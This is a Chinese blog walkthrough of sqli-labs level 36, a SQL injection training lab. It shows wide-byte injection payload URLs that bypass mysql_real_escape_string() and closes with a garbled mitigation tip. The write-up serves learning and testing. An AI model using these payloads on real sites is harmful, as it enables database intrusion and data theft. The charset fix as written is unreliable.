首页 > 数据库技术 > 详细

Sqli-labs less 36

时间:2016-08-12 00:36:54      阅读:237      评论:0      收藏:0      [点我收藏+]

Less-36

我们直接看到36关的源代码

技术分享

上面的check_quotes()函数是利用了mysql_real_escape_string()函数进行的过滤。

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

但是因mysql我们并没有设置成gbk,所以mysql_real_escape_string()依旧能够被突破。方法和上述是一样的。

Payload:

http://127.0.0.1/sqli-labs/Less-36/?id=-1%EF%BF%BD%27union%20select%201,user(),3--+

技术分享

这个我们利用的 ‘ 的utf-16进行突破的,我们也可以利用%df进行。

Payload:

http://127.0.0.1/sqli-labs/Less-36/?id=-1%df%27union%20select%201,user(),3--+

技术分享

?

Notice:

在使用mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将mysql设置为gbk即可。

设置代码:

Mysql_set_charset(‘gbk‘,‘$conn‘)

Sqli-labs less 36

原文:http://www.cnblogs.com/lcamry/p/5762920.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!